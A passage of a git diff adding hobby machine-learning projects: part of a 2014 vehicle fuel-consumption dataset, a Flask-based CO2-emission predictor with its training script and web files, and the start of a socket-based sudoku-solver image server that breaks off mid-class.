2014,PORSCHE,PANAMERA 4S,FULL-SIZE,3,6,AM7,Z,13.4,8.8,11.3,25,260 2014,PORSCHE,PANAMERA 4S EXECUTIVE,FULL-SIZE,3,6,AM7,Z,13.7,8.9,11.5,25,264 2014,PORSCHE,PANAMERA GTS,FULL-SIZE,4.8,8,AM7,Z,15.1,9.7,12.7,22,292 2014,PORSCHE,PANAMERA S,FULL-SIZE,3,6,AM7,Z,13.4,8.8,11.3,25,260 2014,PORSCHE,PANAMERA TURBO,FULL-SIZE,4.8,8,AM7,Z,15.3,9.7,12.8,22,294 2014,PORSCHE,PANAMERA TURBO EXECUTIVE,FULL-SIZE,4.8,8,AM7,Z,15.4,9.8,12.9,22,297 2014,RAM,1500 (MDS),PICKUP TRUCK - STANDARD,5.7,8,A6,X,17.1,12,14.8,19,340 2014,RAM,1500 (MDS),PICKUP TRUCK - STANDARD,5.7,8,A8,X,15.8,10.9,13.6,21,313 2014,RAM,1500 4X4 (MDS),PICKUP TRUCK - STANDARD,5.7,8,A6,X,17.6,12.7,15.4,18,354 2014,RAM,1500 4X4 (MDS),PICKUP TRUCK - STANDARD,5.7,8,A8,X,16.3,11.5,14.1,20,324 2014,RAM,1500 4X4 DIESEL,PICKUP TRUCK - STANDARD,3,6,A8,D,12.1,8.8,10.6,27,286 2014,RAM,1500 4X4 FFV,PICKUP TRUCK - STANDARD,3.6,6,A8,X,14.6,10.1,12.6,22,290 2014,RAM,1500 4X4 FFV,PICKUP TRUCK - STANDARD,3.6,6,A8,E,20.5,14.5,17.8,16,285 2014,RAM,1500 DIESEL,PICKUP TRUCK - STANDARD,3,6,A8,D,11.6,8.4,10.2,28,275 2014,RAM,1500 FFV,PICKUP TRUCK - STANDARD,3.6,6,A8,X,13.9,9.5,11.9,24,274 2014,RAM,1500 FFV,PICKUP TRUCK - STANDARD,3.6,6,A8,E,19.4,13.6,16.8,17,269 2014,RAM,1500 HFE,PICKUP TRUCK - STANDARD,3.6,6,A8,X,12.9,9.3,11.3,25,260 2014,RAM,CARGO VAN FFV,MINIVAN,3.6,6,A6,X,13.3,9.1,11.4,25,262 2014,RAM,CARGO VAN FFV,MINIVAN,3.6,6,A6,E,18.6,12.7,15.9,18,254 2014,ROLLS-ROYCE,GHOST,FULL-SIZE,6.6,12,A8,Z,19.1,12.3,16,18,368 2014,ROLLS-ROYCE,GHOST EWB,FULL-SIZE,6.6,12,A8,Z,19.1,12.3,16,18,368 2014,ROLLS-ROYCE,PHANTOM,FULL-SIZE,6.7,12,A8,Z,20.7,12.8,17.1,17,393 2014,ROLLS-ROYCE,PHANTOM COUPE,COMPACT,6.7,12,A8,Z,20.7,12.8,17.1,17,393 2014,ROLLS-ROYCE,PHANTOM DROPHEAD COUPE,COMPACT,6.7,12,A8,Z,20.7,12.7,17.1,17,393 2014,ROLLS-ROYCE,PHANTOM EWB,FULL-SIZE,6.7,12,A8,Z,20.7,12.7,17.1,17,393 2014,ROLLS-ROYCE,WRAITH,MID-SIZE,6.6,12,A8,Z,18.7,11.8,15.6,18,359 2014,SCION,FR-S,MINICOMPACT,2,4,AS6,Z,9.6,7,8.4,34,193 2014,SCION,FR-S,MINICOMPACT,2,4,M6,Z,10.9,7.8,9.5,30,218 2014,SCION,iQ,MINICOMPACT,1.3,4,AV,X,6.6,5.7,6.2,46,143 2014,SCION,tC,COMPACT,2.5,4,AS6,X,10.2,7.5,9,31,207 2014,SCION,tC,COMPACT,2.5,4,M6,X,10.2,7.6,9,31,207 2014,SCION,xB,STATION WAGON - SMALL,2.4,4,AS4,X,10.9,8.6,9.9,29,228 2014,SCION,xB,STATION WAGON - SMALL,2.4,4,M5,X,10.9,8.6,9.9,29,228 2014,SCION,xD,SUBCOMPACT,1.8,4,A4,X,8.8,7.1,8,35,184 2014,SCION,xD,SUBCOMPACT,1.8,4,M5,X,8.6,7.1,7.9,36,182 2014,SMART,FORTWO CABRIOLET,TWO-SEATER,1,3,AM5,Z,6.9,5.7,6.4,44,147 2014,SMART,FORTWO COUPE,TWO-SEATER,1,3,AM5,Z,6.9,5.7,6.4,44,147 2014,SRT,VIPER COUPE,TWO-SEATER,8.4,10,M6,Z,20,13,16.9,17,389 2014,SRT,VIPER GTS COUPE,TWO-SEATER,8.4,10,M6,Z,20,13,16.9,17,389 2014,SUBARU,BRZ,MINICOMPACT,2,4,AS6,Z,9.6,7.1,8.5,33,196 2014,SUBARU,BRZ,MINICOMPACT,2,4,M6,Z,11,7.9,9.6,29,221 2014,SUBARU,FORESTER AWD,SUV - SMALL,2,4,AV,Z,10.2,8.6,9.5,30,218 2014,SUBARU,FORESTER AWD,SUV - SMALL,2.5,4,AV,X,9.6,7.4,8.6,33,198 2014,SUBARU,FORESTER AWD,SUV - SMALL,2.5,4,M6,X,10.9,8.3,9.7,29,223 2014,SUBARU,IMPREZA AWD,COMPACT,2,4,AV,X,8.7,6.6,7.8,36,179 2014,SUBARU,IMPREZA AWD,COMPACT,2,4,M5,X,9.6,7.1,8.5,33,196 2014,SUBARU,IMPREZA AWD,COMPACT,2.5,4,M5,Z,12.6,9.5,11.2,25,258 2014,SUBARU,IMPREZA AWD,COMPACT,2.5,4,M6,Z,14.2,10.4,12.5,23,288 2014,SUBARU,IMPREZA WAGON AWD,STATION WAGON - SMALL,2,4,AV,X,8.7,6.6,7.8,36,179 2014,SUBARU,IMPREZA WAGON AWD,STATION WAGON - SMALL,2,4,M5,X,9.6,7.1,8.5,33,196 2014,SUBARU,IMPREZA WAGON AWD,STATION WAGON - SMALL,2.5,4,M5,Z,12.6,9.5,11.2,25,258 2014,SUBARU,IMPREZA WAGON AWD,STATION WAGON - SMALL,2.5,4,M6,Z,14.2,10.4,12.5,23,288 2014,SUBARU,LEGACY AWD,MID-SIZE,2.5,4,AV,X,9.7,7.3,8.6,33,198 2014,SUBARU,LEGACY AWD,MID-SIZE,2.5,4,M6,X,11.3,8.2,9.9,29,228 2014,SUBARU,LEGACY AWD,MID-SIZE,3.6,6,AS5,X,13.3,9.5,11.6,24,267 2014,SUBARU,OUTBACK AWD,SUV - SMALL,2.5,4,AV,X,9.9,7.8,9,31,207 2014,SUBARU,OUTBACK AWD,SUV - SMALL,2.5,4,M6,X,10.8,8.5,9.8,29,225 2014,SUBARU,OUTBACK AWD,SUV - SMALL,3.6,6,AS5,X,13.4,9.7,11.7,24,269 2014,SUBARU,TRIBECA AWD,SUV - SMALL,3.6,6,AS5,X,14.7,11.1,13.1,22,301 2014,SUBARU,XV CROSSTREK AWD,SUV - SMALL,2,4,AV,X,9.5,7.2,8.5,33,196 2014,SUBARU,XV CROSSTREK AWD,SUV - SMALL,2,4,M5,X,10.2,8,9.2,31,212 2014,SUBARU,XV CROSSTREK HYBRID AWD,SUV - SMALL,2,4,AV,X,8.1,7.2,7.7,37,177 2014,TOYOTA,4RUNNER (Part-Time 4WD),SUV - STANDARD,4,6,AS5,X,14.3,11.1,12.9,22,297 2014,TOYOTA,4RUNNER 4WD,SUV - STANDARD,4,6,AS5,X,14.3,11.1,12.9,22,297 2014,TOYOTA,AVALON,MID-SIZE,3.5,6,AS6,X,11.3,7.6,9.6,29,221 2014,TOYOTA,CAMRY,MID-SIZE,2.5,4,AS6,X,9.5,6.6,8.2,34,189 2014,TOYOTA,CAMRY,MID-SIZE,3.5,6,AS6,X,11.1,7.8,9.6,29,221 2014,TOYOTA,CAMRY HYBRID LE,MID-SIZE,2.5,4,AV,X,5.5,5.9,5.7,50,131 2014,TOYOTA,CAMRY HYBRID XLE/SE,MID-SIZE,2.5,4,AV,X,5.8,6.2,6,47,138 2014,TOYOTA,COROLLA,MID-SIZE,1.8,4,A4,X,8.6,6.5,7.7,37,177 2014,TOYOTA,COROLLA,MID-SIZE,1.8,4,AV7,X,8.1,6.3,7.3,39,168 2014,TOYOTA,COROLLA,MID-SIZE,1.8,4,AV,X,8,5.9,7.1,40,163 2014,TOYOTA,COROLLA,MID-SIZE,1.8,4,M6,X,8.3,6.3,7.4,38,170 2014,TOYOTA,COROLLA LE ECO (1-mode),MID-SIZE,1.8,4,AV,X,7.7,5.6,6.8,42,156 2014,TOYOTA,COROLLA LE ECO (2-mode),MID-SIZE,1.8,4,AV,X,7.8,5.9,6.9,41,159 2014,TOYOTA,COROLLA MATRIX,STATION WAGON - SMALL,1.8,4,A4,X,9.4,7.5,8.5,33,196 2014,TOYOTA,COROLLA MATRIX,STATION WAGON - SMALL,1.8,4,M5,X,8.9,7.3,8.2,34,189 2014,TOYOTA,FJ CRUISER 4WD,SUV - SMALL,4,6,A5,X,14.3,11.2,12.9,22,297 2014,TOYOTA,FJ CRUISER 4WD,SUV - SMALL,4,6,M6,X,15.4,12.1,13.9,20,320 2014,TOYOTA,HIGHLANDER,SUV - SMALL,2.7,4,AS6,X,11.7,8.6,10.3,27,237 2014,TOYOTA,HIGHLANDER,SUV - SMALL,3.5,6,AS6,X,12.6,9.4,11.2,25,258 2014,TOYOTA,HIGHLANDER AWD,SUV - STANDARD,3.5,6,AS6,X,13,9.7,11.5,25,264 2014,TOYOTA,HIGHLANDER HYBRID AWD,SUV - STANDARD,3.5,6,AV6,X,8,8.6,8.3,34,191 2014,TOYOTA,HIGHLANDER HYBRID AWD LE,SUV - STANDARD,3.5,6,AV6,X,7.9,8.6,8.2,34,189 2014,TOYOTA,PRIUS,MID-SIZE,1.8,4,AV,X,4.7,4.9,4.8,59,110 2014,TOYOTA,PRIUS c,COMPACT,1.5,4,AV,X,4.6,4.9,4.7,60,108 2014,TOYOTA,PRIUS v,STATION WAGON - MID-SIZE,1.8,4,AV,X,5.3,5.8,5.5,51,126 2014,TOYOTA,RAV4,SUV - SMALL,2.5,4,AS6,X,10,7.6,8.9,32,205 2014,TOYOTA,RAV4 AWD,SUV - SMALL,2.5,4,AS6,X,10.4,8.1,9.4,30,216 2014,TOYOTA,RAV4 LIMITED AWD,SUV - SMALL,2.5,4,AS6,X,10.6,8.2,9.5,30,218 2014,TOYOTA,SEQUOIA 4WD,SUV - STANDARD,5.7,8,AS6,X,19,13.9,16.7,17,384 2014,TOYOTA,SIENNA,MINIVAN,3.5,6,AS6,X,12.9,9.4,11.3,25,260 2014,TOYOTA,SIENNA AWD,MINIVAN,3.5,6,AS6,X,14.2,10.3,12.4,23,285 2014,TOYOTA,TACOMA,PICKUP TRUCK - SMALL,2.7,4,A4,X,12.2,9.3,10.9,26,251 2014,TOYOTA,TACOMA,PICKUP TRUCK - SMALL,2.7,4,M5,X,11.3,8.9,10.2,28,235 2014,TOYOTA,TACOMA,PICKUP TRUCK - SMALL,4,6,M6,X,14.5,11.3,13.1,22,301 2014,TOYOTA,TACOMA 4WD,PICKUP TRUCK - SMALL,2.7,4,A4,X,13.1,10.5,11.9,24,274 2014,TOYOTA,TACOMA 4WD,PICKUP TRUCK - SMALL,2.7,4,M5,X,12.8,10.6,11.8,24,271 2014,TOYOTA,TACOMA 4WD,PICKUP TRUCK - SMALL,4,6,A5,X,14.7,11.5,13.3,21,306 2014,TOYOTA,TACOMA 4WD,PICKUP TRUCK - SMALL,4,6,M6,X,15.3,12.3,14,20,322 2014,TOYOTA,TUNDRA,PICKUP TRUCK - STANDARD,4,6,AS5,X,14.8,11.8,13.5,21,310 2014,TOYOTA,TUNDRA,PICKUP TRUCK - STANDARD,4.6,8,AS6,X,15.9,12.3,14.3,20,329 2014,TOYOTA,TUNDRA,PICKUP TRUCK - STANDARD,5.7,8,AS6,X,17.6,12.9,15.5,18,356 2014,TOYOTA,TUNDRA 4WD,PICKUP TRUCK - STANDARD,4.6,8,AS6,X,16.9,12.8,15.1,19,347 2014,TOYOTA,TUNDRA 4WD,PICKUP TRUCK - STANDARD,5.7,8,AS6,X,18.1,13.9,16.2,17,373 2014,TOYOTA,VENZA,SUV - SMALL,2.7,4,AS6,X,11.4,8.2,10,28,230 2014,TOYOTA,VENZA,SUV - SMALL,3.5,6,AS6,X,12.6,9.1,11,26,253 2014,TOYOTA,VENZA 4WD,SUV - SMALL,2.7,4,AS6,X,11.6,8.5,10.2,28,235 2014,TOYOTA,VENZA 4WD,SUV - SMALL,3.5,6,AS6,X,12.9,9.4,11.3,25,260 2014,TOYOTA,YARIS,COMPACT,1.5,4,A4,X,7.9,6.6,7.3,39,168 2014,TOYOTA,YARIS,COMPACT,1.5,4,M5,X,7.8,6.3,7.1,40,163 2014,VOLKSWAGEN,BEETLE,COMPACT,1.8,4,A6,X,9.5,7.2,8.5,33,196 2014,VOLKSWAGEN,BEETLE,COMPACT,1.8,4,M5,X,9.9,7.2,8.7,32,200 2014,VOLKSWAGEN,BEETLE,COMPACT,2,4,A6,Z,10.3,7.7,9.1,31,209 2014,VOLKSWAGEN,BEETLE,COMPACT,2,4,M6,Z,10.8,7.6,9.4,30,216 2014,VOLKSWAGEN,BEETLE,COMPACT,2.5,5,A6,X,10.9,8.4,9.8,29,225 2014,VOLKSWAGEN,BEETLE,COMPACT,2.5,5,M5,X,11.2,7.7,9.6,29,221 2014,VOLKSWAGEN,BEETLE CONVERTIBLE,SUBCOMPACT,1.8,4,A6,X,9.8,7.3,8.7,32,200 2014,VOLKSWAGEN,BEETLE CONVERTIBLE,SUBCOMPACT,2,4,A6,Z,10.3,8.1,9.3,30,214 2014,VOLKSWAGEN,BEETLE CONVERTIBLE,SUBCOMPACT,2,4,M6,Z,10.8,7.6,9.4,30,216 2014,VOLKSWAGEN,BEETLE CONVERTIBLE,SUBCOMPACT,2.5,5,A6,X,11.2,8.7,10.1,28,232 2014,VOLKSWAGEN,BEETLE TDI CLEAN DIESEL,COMPACT,2,4,A6,D,8.2,6.1,7.3,39,197 2014,VOLKSWAGEN,BEETLE TDI CLEAN DIESEL,COMPACT,2,4,M6,D,8.5,5.8,7.3,39,197 2014,VOLKSWAGEN,CC,COMPACT,2,4,A6,Z,11.1,7.9,9.7,29,223 2014,VOLKSWAGEN,CC,COMPACT,2,4,M6,Z,11.6,7.7,9.8,29,225 2014,VOLKSWAGEN,CC 4MOTION,COMPACT,3.6,6,A6,Z,14.3,9.8,12.3,23,283 2014,VOLKSWAGEN,EOS,SUBCOMPACT,2,4,A6,Z,10.9,8,9.6,29,221 2014,VOLKSWAGEN,GOLF WAGON,STATION WAGON - SMALL,2.5,5,A6,X,11,7.7,9.5,30,218 2014,VOLKSWAGEN,GOLF WAGON,STATION WAGON - SMALL,2.5,5,M5,X,11.2,7.3,9.4,30,216 2014,VOLKSWAGEN,GOLF WAGON TDI CLEAN DIESEL,STATION WAGON - SMALL,2,4,A6,D,8.2,6,7.2,39,194 2014,VOLKSWAGEN,GOLF WAGON TDI CLEAN DIESEL,STATION WAGON - SMALL,2,4,M6,D,7.9,5.6,6.9,41,186 2014,VOLKSWAGEN,JETTA,COMPACT,1.8,4,A6,X,9.5,6.7,8.2,34,189 2014,VOLKSWAGEN,JETTA,COMPACT,1.8,4,M5,X,9.4,6.7,8.2,34,189 2014,VOLKSWAGEN,JETTA,COMPACT,2,4,A6,X,10.6,8,9.4,30,216 2014,VOLKSWAGEN,JETTA,COMPACT,2,4,M5,X,10.4,7.2,9,31,207 2014,VOLKSWAGEN,JETTA GLI,COMPACT,2,4,A6,Z,10.2,7.5,9,31,207 2014,VOLKSWAGEN,JETTA GLI,COMPACT,2,4,M6,Z,10.6,7.4,9.2,31,212 2014,VOLKSWAGEN,JETTA TDI CLEAN DIESEL,COMPACT,2,4,A6,D,7.9,5.7,6.9,41,186 2014,VOLKSWAGEN,JETTA TDI CLEAN DIESEL,COMPACT,2,4,M6,D,7.9,5.6,6.9,41,186 2014,VOLKSWAGEN,JETTA TURBO HYBRID,COMPACT,1.4,4,AM7,Z,5.6,5.2,5.4,52,124 2014,VOLKSWAGEN,PASSAT,MID-SIZE,1.8,4,A6,X,9.9,6.9,8.6,33,198 2014,VOLKSWAGEN,PASSAT,MID-SIZE,1.8,4,M5,X,10,6.9,8.6,33,198 2014,VOLKSWAGEN,PASSAT,MID-SIZE,2.5,5,A6,X,11,8,9.7,29,223 2014,VOLKSWAGEN,PASSAT,MID-SIZE,2.5,5,M5,X,11.4,7.8,9.8,29,225 2014,VOLKSWAGEN,PASSAT,MID-SIZE,3.6,6,A6,Z,12.4,8.8,10.8,26,248 2014,VOLKSWAGEN,PASSAT TDI CLEAN DIESEL,MID-SIZE,2,4,A6,D,8.1,5.9,7.1,40,192 2014,VOLKSWAGEN,PASSAT TDI CLEAN DIESEL,MID-SIZE,2,4,M6,D,8,5.4,6.8,42,184 2014,VOLKSWAGEN,ROUTAN,MINIVAN,3.6,6,A6,X,14.2,9.5,12.1,23,278 2014,VOLKSWAGEN,TIGUAN,SUV - SMALL,2,4,A6,Z,11.7,9.5,10.7,26,246 2014,VOLKSWAGEN,TIGUAN,SUV - SMALL,2,4,M6,Z,13.6,9.2,11.6,24,267 2014,VOLKSWAGEN,TIGUAN 4MOTION,SUV - SMALL,2,4,A6,Z,11.7,9.4,10.7,26,246 2014,VOLKSWAGEN,TOUAREG,SUV - STANDARD,3.6,6,AS8,Z,13.8,10.3,12.2,23,281 2014,VOLKSWAGEN,TOUAREG TDI CLEAN DIESEL,SUV - STANDARD,3,6,AS8,D,12.3,8,10.4,27,281 2014,VOLVO,S60,COMPACT,2.5,5,AS6,X,11.3,7.8,9.7,29,223 2014,VOLVO,S60 AWD,COMPACT,2.5,5,AS6,X,11.6,8.3,10.1,28,232 2014,VOLVO,S60 AWD,COMPACT,3,6,AS6,X,13.2,9.5,11.5,25,264 2014,VOLVO,S80,MID-SIZE,3.2,6,AS6,X,11.9,8.1,10.2,28,235 2014,VOLVO,S80 AWD,MID-SIZE,3,6,AS6,X,13.2,9.5,11.5,25,264 2014,VOLVO,XC60,SUV - SMALL,3.2,6,AS6,X,13,8.9,11.2,25,258 2014,VOLVO,XC60 AWD,SUV - SMALL,3,6,AS6,X,13.4,9.8,11.8,24,271 2014,VOLVO,XC60 AWD,SUV - SMALL,3.2,6,AS6,X,13.2,9.5,11.5,25,264 2014,VOLVO,XC70 AWD,SUV - SMALL,3,6,AS6,X,13.4,9.8,11.8,24,271 2014,VOLVO,XC70 AWD,SUV - SMALL,3.2,6,AS6,X,12.9,9.3,11.3,25,260 2014,VOLVO,XC90 AWD,SUV - STANDARD,3.2,6,AS6,X,14.9,10.2,12.8,22,294 \ No newline at end of file diff --git a/MachineLearning Projects/prediction-of-CO2-emission/README.md b/MachineLearning Projects/prediction-of-CO2-emission/README.md new file mode 100644 index 00000000..2885b926 --- /dev/null +++ b/MachineLearning Projects/prediction-of-CO2-emission/README.md @@ -0,0 +1,71 @@ +# prediction-of-CO2-emission + +This repository contains a CO2 Emission Prediction Model developed using machine learning techniques. The model is designed to predict the CO2 emissions based on various input features. This Readme file provides an overview of the project, instructions for running the model, and additional information. + +## Table of Contents +- [Project Overview](#project-overview) +- [Installation](#installation) +- [Usage](#usage) +- [Dataset](#dataset) +- [Model Training](#model-training) +- [Evaluation](#evaluation) +- [Contributing](#contributing) +- [License](#license) + +## Project Overview +The objective of this project is to build a machine learning model that can predict CO2 emissions based on certain features such as vehicle characteristics, fuel type, and engine size. The model is trained on a labeled dataset and uses regression techniques to make predictions. + +## Installation +To use the CO2 Emission Prediction Model, follow these steps: + +1. Clone this repository to your local machine or download the source code as a ZIP file. +2. Make sure you have Python 3.x installed on your system. +3. Install the required dependencies by running the following command: + + pip install -r requirements.txt + + +## Usage +1. Prepare your input data in a compatible format. Refer to the [Dataset](#dataset) section for more information on the input format. +2. Run the prediction script using the following command: + + python predict.py --input + + Replace `` with the actual path to your input data file. +3. The model will process the input data and generate CO2 emission predictions. The results will be displayed on the console. + +## Dataset +The CO2 Emission Prediction Model is trained on a dataset containing historical data of vehicles and their corresponding CO2 emissions. The dataset includes the following features: + +- Vehicle make +- Vehicle model +- Vehicle type (e.g., car, truck, SUV) +- Fuel type (e.g., petrol, diesel) +- Engine size (in liters) + +Each data point in the dataset consists of these features along with the CO2 emission value. The dataset is split into training and testing sets for model evaluation. + +## Model Training +The CO2 Emission Prediction Model is built using a machine learning algorithm such as linear regression or random forest regression. The training process involves the following steps: + +1. Load the dataset and preprocess the data. +2. Split the data into training and testing sets. +3. Train the model using the training data. +4. Evaluate the model performance on the testing data. + +The trained model is then saved for later use in the prediction phase. + +## Evaluation +The performance of the CO2 Emission Prediction Model is evaluated using various metrics such as mean squared error (MSE), mean absolute error (MAE), and coefficient of determination (R-squared). These metrics provide insights into how well the model predicts the CO2 emissions. + +## Contributing +If you want to contribute to this project, you can follow these steps: + +1. Fork this repository. +2. Create a new branch for your feature or bug fix. +3. Make your changes and commit them. +4. Push your changes to your forked repository. +5. Submit a pull request, describing your changes in detail and referencing any relevant issues. + +## License +The CO2 Emission Prediction Model is released under the [MIT License](LICENSE). You are free to use, modify, and distribute the code in this repository, subject to the terms and conditions of the license. \ No newline at end of file diff --git a/MachineLearning Projects/prediction-of-CO2-emission/app.py b/MachineLearning Projects/prediction-of-CO2-emission/app.py new file mode 100644 index 00000000..0095d98e --- /dev/null +++ b/MachineLearning Projects/prediction-of-CO2-emission/app.py @@ -0,0 +1,30 @@ +#import libraries +import numpy as np +from flask import Flask, request, jsonify, render_template +import pickle + +#Initialize the flask App +app = Flask(__name__) +model = pickle.load(open('model.pkl', 'rb')) + +#default page of our web-app +@app.route('/') +def home(): + return render_template('index.html') + +#To use the predict button in our web-app +@app.route('/predict',methods=['POST']) +def predict(): + ''' + For rendering results on HTML GUI + ''' + int_features = [float(x) for x in request.form.values()] + final_features = [np.array(int_features)] + prediction = model.predict(final_features) + + output = round(prediction[0], 2) + + return render_template('index.html', prediction_text='CO2 Emission of the vehicle is :{}'.format(output)) + +if __name__ == "__main__": + app.run(debug=True) \ No newline at end of file diff --git a/MachineLearning Projects/prediction-of-CO2-emission/model.pkl b/MachineLearning Projects/prediction-of-CO2-emission/model.pkl new file mode 100644 index 00000000..617aec53 Binary files /dev/null and b/MachineLearning Projects/prediction-of-CO2-emission/model.pkl differ diff --git a/MachineLearning Projects/prediction-of-CO2-emission/model.py b/MachineLearning Projects/prediction-of-CO2-emission/model.py new file mode 100644 index 00000000..8bf14b3e --- /dev/null +++ b/MachineLearning Projects/prediction-of-CO2-emission/model.py @@ -0,0 +1,26 @@ +import pandas as pd +from sklearn.linear_model import LinearRegression +import pickle + +df = pd.read_csv("FuelConsumption.csv") + +# take a look at the dataset +#df.head() + +#use required features +cdf = df[['ENGINESIZE','CYLINDERS','FUELCONSUMPTION_COMB','CO2EMISSIONS']] + +#Training Data and Predictor Variable +# Use all data for training (tarin-test-split not used) +x = cdf.iloc[:, :3] +y = cdf.iloc[:, -1] + + +regressor = LinearRegression() + +#Fitting model with trainig data +regressor.fit(x, y) + +# Saving model to disk +# Pickle serializes objects so they can be saved to a file, and loaded in a program again later on. +pickle.dump(regressor, open('model.pkl','wb')) \ No newline at end of file diff --git a/MachineLearning Projects/prediction-of-CO2-emission/requirements.txt b/MachineLearning Projects/prediction-of-CO2-emission/requirements.txt new file mode 100644 index 00000000..e9a9f97e Binary files /dev/null and b/MachineLearning Projects/prediction-of-CO2-emission/requirements.txt differ diff --git a/MachineLearning Projects/prediction-of-CO2-emission/static/css/README.md b/MachineLearning Projects/prediction-of-CO2-emission/static/css/README.md new file mode 100644 index 00000000..7613d0b9 --- /dev/null +++ b/MachineLearning Projects/prediction-of-CO2-emission/static/css/README.md @@ -0,0 +1 @@ +prediction-of-CO2-emission \ No newline at end of file diff --git a/MachineLearning Projects/prediction-of-CO2-emission/static/css/style.css b/MachineLearning Projects/prediction-of-CO2-emission/static/css/style.css new file mode 100644 index 00000000..b5b790bb --- /dev/null +++ b/MachineLearning Projects/prediction-of-CO2-emission/static/css/style.css @@ -0,0 +1,67 @@ +html{ + background-color: #755139; + overflow:hidden; +} + +.form-container { + background-color: #755139; + height: 100vh; + width: 100vw; + display: flex; + align-items: center; + justify-content: center; +} + +.form-wrapper { + background-color: #F2EDD7; + padding: 20px 60px; + border-radius: 10px; + display: flex; + flex-direction: column; + align-items: center; +} + +.logo { + color: darkblue; + font-weight: bold; + font-size: 24px; +} + +form { + display: flex; + flex-direction: column; + gap: 15px; +} + +input { + background-color: #F2EDD7; + color: darkblue; + font-weight: bold; + padding: 15px; + border: none; + outline: none; + width: 250px; + border-bottom: 1px solid #755139; + &::placeholder { + color: rgb(159, 113, 53); + font-weight: none; + } +} + +button { + background-color: #755139; + color: white; + border-radius: 5%; + padding: 10px; + font-weight: bold; + border: none; + cursor: pointer; +} + +label { + display: flex; + align-items: center; + gap: 10px; + color: darkblue; + font-size: 12px; +} \ No newline at end of file diff --git a/MachineLearning Projects/prediction-of-CO2-emission/templates/index.html b/MachineLearning Projects/prediction-of-CO2-emission/templates/index.html new file mode 100644 index 00000000..c916755a --- /dev/null +++ b/MachineLearning Projects/prediction-of-CO2-emission/templates/index.html @@ -0,0 +1,33 @@ + + + + + CO2 Emission Predictor + + + + + + + + +
+
+ + Enter the following values to predict the CO2 emission from the vehicle +
+ + + + +
+
+
+
+ {{ prediction_text }} + +
+ + + + \ No newline at end of file diff --git a/MachineLearning Projects/sudoku_solver/README.md b/MachineLearning Projects/sudoku_solver/README.md new file mode 100644 index 00000000..4829dc59 --- /dev/null +++ b/MachineLearning Projects/sudoku_solver/README.md @@ -0,0 +1,28 @@ +# Sudoku Solver + +* This app was built to allow users to solve their sudokus using a computer. +* There is a Flask based webserver `web_interface.py` which when run gives a web interface to upload an image of a sudoku to be solved. The response is a solved sudoku. +* There is a file `full_stack_http.py` which needs to be run alongside the webserver for the full app to run. This is in charge of opening multiple process channels to process the images that are sent to the webserver. +* The app relies of Pytesseract to identify the characters in the sudoku image. + +# Operation + +* The image is first stripped of color. +* It is then cropped to select the section of the sudoku. NOTE: This section is not dependent on the sudoku but has been hardcoded. +* The resulting image is passed to `Pytesseract` to extract the characters and their position. +* Using the characters and their position the grid size is determined. +* The appropriate grid is created and filled with the discovered characters. +* The grid is then solved with an algorithm contained in `sudoku.py`. +* A snapshot of the solved grid is then created and sent back to the user. +* The resultant snapshot is rendered on the browser page. + +# To Run + +* First install `Pytesseract` +* Install `Flask` +* Then run the `full_stack_http.py` file. +* Then run the `web_interface.py` file. +* Go to the browser and load the URL provided in the previous step. +* Click the upload button. +* Select your image and submit the form. +* Wait for the result to be loaded. \ No newline at end of file diff --git a/MachineLearning Projects/sudoku_solver/__pycache__/image.cpython-311.pyc b/MachineLearning Projects/sudoku_solver/__pycache__/image.cpython-311.pyc new file mode 100644 index 00000000..bc46b3c9 Binary files /dev/null and b/MachineLearning Projects/sudoku_solver/__pycache__/image.cpython-311.pyc differ diff --git a/MachineLearning Projects/sudoku_solver/__pycache__/perspective.cpython-312.pyc b/MachineLearning Projects/sudoku_solver/__pycache__/perspective.cpython-312.pyc new file mode 100644 index 00000000..73b55c0f Binary files /dev/null and b/MachineLearning Projects/sudoku_solver/__pycache__/perspective.cpython-312.pyc differ diff --git a/MachineLearning Projects/sudoku_solver/__pycache__/sudoku.cpython-312.pyc b/MachineLearning Projects/sudoku_solver/__pycache__/sudoku.cpython-312.pyc new file mode 100644 index 00000000..d76e94c2 Binary files /dev/null and b/MachineLearning Projects/sudoku_solver/__pycache__/sudoku.cpython-312.pyc differ diff --git a/MachineLearning Projects/sudoku_solver/config.cfg b/MachineLearning Projects/sudoku_solver/config.cfg new file mode 100644 index 00000000..93d8c2b5 --- /dev/null +++ b/MachineLearning Projects/sudoku_solver/config.cfg @@ -0,0 +1,4 @@ +UPLOAD_FOLDER="uploads" +SECRET_KEY="secret" +SOLVER_IP="localhost" +SOLVER_PORT=3535 \ No newline at end of file diff --git a/MachineLearning Projects/sudoku_solver/f1.jpg b/MachineLearning Projects/sudoku_solver/f1.jpg new file mode 100644 index 00000000..12c2702e Binary files /dev/null and b/MachineLearning Projects/sudoku_solver/f1.jpg differ diff --git a/MachineLearning Projects/sudoku_solver/f2.jpg b/MachineLearning Projects/sudoku_solver/f2.jpg new file mode 100644 index 00000000..dc232b54 Binary files /dev/null and b/MachineLearning Projects/sudoku_solver/f2.jpg differ diff --git a/MachineLearning Projects/sudoku_solver/full_stack_http.py b/MachineLearning Projects/sudoku_solver/full_stack_http.py new file mode 100644 index 00000000..d6232b81 --- /dev/null +++ b/MachineLearning Projects/sudoku_solver/full_stack_http.py @@ -0,0 +1,136 @@ +import multiprocessing.util +import socket +from perspective import resolve_image +from sudoku import Grid +import argparse +import multiprocessing +import os + +temp_result_file = "resultfile.png" +temp_input_file = "tempfile.jpg" + +def process_handle_transaction(proc_num:int, sock:socket.socket): + print(f"[{proc_num}] Waiting for client...") + sock2, address2 = sock.accept() + print(f"[{proc_num}] Connected to client with address: {address2}") + sock2.settimeout(1) + rec_buf = b'' + split = temp_input_file.split('.') + my_temp_input_file = ".".join(i for i in split[:-1]) + str(proc_num) + "." + split[-1] + split = temp_result_file.split('.') + my_temp_result_file = ".".join(i for i in split[:-1]) + str(proc_num) + "." + split[-1] + try: + while True: + try: + rec = sock2.recv(1) + rec_buf += rec + if len(rec) == 0: + print(f"[{proc_num}] Lost connection") + break + except socket.timeout: + with open(my_temp_input_file, "wb") as f: + f.write(rec_buf) + rec_buf = b'' + grid_size, points = resolve_image(my_temp_input_file) + grid = Grid(rows=grid_size[0], columns=grid_size[1]) + assignment_values = {} + for val,loc in points: + assignment_values[loc] = val + grid.preassign(assignment_values) + grid.solve() + grid.save_grid_image(path=my_temp_result_file, size=(400,400)) + with open(my_temp_result_file, "rb") as f: + sock2.send(f.read()) + os.remove(my_temp_input_file) + os.remove(my_temp_result_file) + sock2.close() + print(f"[{proc_num}] Finished!") + break + finally: + sock2.close() + +class Manager(): + def __init__(self, address:tuple[str,int]): + self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + self.address = address + + 